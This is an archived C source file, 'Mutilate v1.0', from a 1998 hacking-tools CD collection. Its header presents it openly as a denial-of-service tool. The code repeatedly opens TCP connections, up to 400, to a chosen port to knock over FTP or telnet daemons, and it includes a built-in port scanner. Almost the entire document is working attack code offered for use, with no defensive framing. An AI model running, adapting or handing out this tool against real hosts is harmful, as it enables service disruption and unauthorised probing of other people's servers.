home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / files / sin / mutilate.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-01-31  |  4.8 KB  |  167 lines

  1.  /*********************************************
  2.  
  3.  *  Mutilate v1.0                             * 
  4.  
  5.  * By HoGs HeaD                               * 
  6.  
  7.  * ------------------------------------------ * 
  8.  
  9.  * What this program does:                    *  
  10.  
  11.  * ------------------------------------------ * 
  12.  
  13.  * This is a port mutilator, connects as      *
  14.  
  15.  * many times as possible to a port resulting *
  16.  
  17.  * in a DoS attack or lag kill. Run it on     *
  18.  
  19.  * a small FTP server or telnet server and    *
  20.  
  21.  * watch the daemons fall....                 *
  22.  
  23.  * Fear the built-in port scanner!            *
  24.  
  25.  * Build using:                               *
  26.  
  27.  *                                            *  
  28.  
  29.  * $ gcc mutilate -o mutilate.c               * 
  30.  
  31.  *                                            *
  32.  
  33.  * You can't modify this and redistribute it  *
  34.  
  35.  * unless i have given you permission.        * 
  36.  
  37.  *                                            *
  38.  
  39.  * (C)1998 HoGs HeaD & Inertia                *
  40.  
  41.  *********************************************/
  42.  
  43.  
  44.  
  45. #include <stdio.h>
  46.  
  47. #include <sys/socket.h>
  48.  
  49. #include <sys/time.h>
  50.  
  51. #include <netinet/in.h>
  52.  
  53. #include <netinet/in_systm.h>
  54.  
  55. #include <netinet/ip.h>
  56.  
  57. #include <netinet/ip_icmp.h>
  58.  
  59. #include <errno.h>
  60.  
  61. #include <netdb.h>
  62.  
  63. #include <signal.h>
  64.  
  65.  
  66.  
  67. #define PROG_NAME "Mutilate"
  68.  
  69. #define HIGH_PORT 1024
  70.  
  71.  
  72.  
  73. /***************
  74.  
  75. * Usage Table  *
  76.  
  77. ****************/
  78.  
  79.  
  80.  
  81. void usage()
  82.  
  83. {
  84.  
  85. printf("usage: %s <IP address> <port (or -s for scan)>\n\n", PROG_NAME);
  86.  
  87. exit(0);
  88.  
  89. }
  90.  
  91.  
  92.  
  93. /****************
  94.  
  95. * Title Banner  *
  96.  
  97. *****************/
  98.  
  99.  
  100.  
  101. void banner()
  102.  
  103. {
  104.  
  105. puts("\nMutilate by HoGs HeaD and Inertia");
  106.  
  107. puts("----------------------------------\n");
  108.  
  109. }
  110.  
  111.  
  112.  
  113. /********************
  114.  
  115. * PortScan Function *
  116.  
  117. ********************/
  118.  
  119.  
  120.  
  121. void portscan(char *the_ip)
  122.  
  123. {   
  124.  
  125.    struct hostent *scand;          /* Well golly jeepers batman, let's init some shiz... */
  126.  
  127.    struct sockaddr_in scan;
  128.  
  129.    int sck; 
  130.  
  131.    int c, portnum;
  132.  
  133.  
  134.  
  135.      for(portnum=1; portnum<HIGH_PORT; portnum++){                /* start the hunt.. */
  136.  
  137.    
  138.  
  139.        if(isdigit(*the_ip)){
  140.  
  141.          scan.sin_addr.s_addr = inet_addr(the_ip);
  142.  
  143.      } else{                                                 /* resolve the host */
  144.  
  145.          scand = gethostbyname(the_ip);
  146.  
  147.          strncpy((char *)&scan.sin_addr, (char *)scand->h_addr, sizeof(scan.sin_addr));     
  148.  
  149.            }
  150.  
  151.    
  152.  
  153.      scan.sin_family = AF_INET;
  154.  
  155.      scan.sin_port   = htons(portnum);
  156.  
  157.      sck = socket(AF_INET, SOCK_STREAM, 0);               /* create the socket */
  158.  
  159.     
  160.  
  161.        if(sck < 0){
  162.  
  163.          printf("Socket cannot be established!\n");
  164.  
  165.                   }
  166.  
  167.  
  168.  
  169.      c = connect(sck, (struct sockaddr *)&scan, sizeof(scan)); /* connect the socket */
  170.  
  171.        if(c < 0){
  172.  
  173.                   /* we aren't connected, so... */
  174.  
  175.      } else{
  176.  
  177.                  /* we're connected, bewm, notify user. */
  178.  
  179.          printf("Found an open port on %d...\n", portnum);
  180.  
  181.            }
  182.  
  183.   
  184.  
  185.  shutdown(sck, 2);
  186.  
  187. }
  188.  
  189.  close(sck);
  190.  
  191. }
  192.  
  193.  
  194.  
  195.  
  196.  
  197. /****************
  198.  
  199. * Main Function *
  200.  
  201. ****************/
  202.  
  203.  
  204.  
  205. void main(int argc, char **argv)
  206.  
  207. {
  208.  
  209.     struct hostent *th;
  210.  
  211.     struct sockaddr_in target[400];
  212.  
  213.     int count=1;
  214.  
  215.     int sock, error, port;
  216.  
  217.     char *curr_ip;
  218.  
  219.   
  220.  
  221.    banner();
  222.  
  223.   
  224.  
  225.    if(argc < 3){
  226.  
  227.      usage();
  228.  
  229.               }
  230.  
  231.   
  232.  
  233.   curr_ip = argv[1];
  234.  
  235.  
  236.  
  237.     if (!strcmp (argv[2], "-s")) {
  238.  
  239.       printf("Beginning a port scan on %s...\n\n", argv[1]);
  240.  
  241.       portscan(argv[1]);
  242.  
  243.         exit(0);
  244.  
  245.                                  }
  246.  
  247.  
  248.  
  249.   port = atoi(argv[2]);
  250.  
  251.   printf("Now opening connections to %s...\n\n", curr_ip);
  252.  
  253.  
  254.  
  255.  /*******************   
  256.  
  257.  * Begin Mutilation *
  258.  
  259.  *******************/
  260.  
  261.  
  262.  
  263.  for(; count<400; ++count) 
  264.  
  265.  {  
  266.  
  267.    
  268.  
  269.    if(isdigit(*curr_ip))     /* If the host specified is a numerical IP */
  270.  
  271.      target[count].sin_addr.s_addr = inet_addr(curr_ip);     
  272.  
  273.    else {                    /* If the host specified as a hostname */
  274.  
  275.      th = gethostbyname(curr_ip);
  276.  
  277.      strncpy((char *)&target[count].sin_addr, (char *)th->h_addr, sizeof(target[count].sin_addr));
  278.  
  279.         }
  280.  
  281.    
  282.  
  283.       target[count].sin_family = AF_INET;
  284.  
  285.       target[count].sin_port = htons(port);
  286.  
  287.       sock = socket(AF_INET, SOCK_STREAM, 0);
  288.  
  289.    
  290.  
  291.     if(sock < 0){
  292.  
  293.       printf("Error setting up socket!\n");
  294.  
  295.       exit(2);
  296.  
  297.                 }
  298.  
  299.    
  300.  
  301.       error = connect(sock, (struct sockaddr *)&target[count], sizeof target[count]);
  302.  
  303.    
  304.  
  305.     if(error < 0) 
  306.  
  307.       printf("Error connecting to: %d : %s\n", port, strerror(errno));
  308.  
  309.     else {
  310.  
  311.       printf("Opened %d sockets to host...\n", count);
  312.  
  313.          }  
  314.  
  315.   }
  316.  
  317.                          
  318.  
  319.   printf("\nOpened 400 socks to server, ending...\n");
  320.  
  321.   close(sock);
  322.  
  323. }
  324.  
  325.  
  326.  
  327. /***************
  328.  
  329. * End Program  *
  330.  
  331. ***************/
  332.  
  333.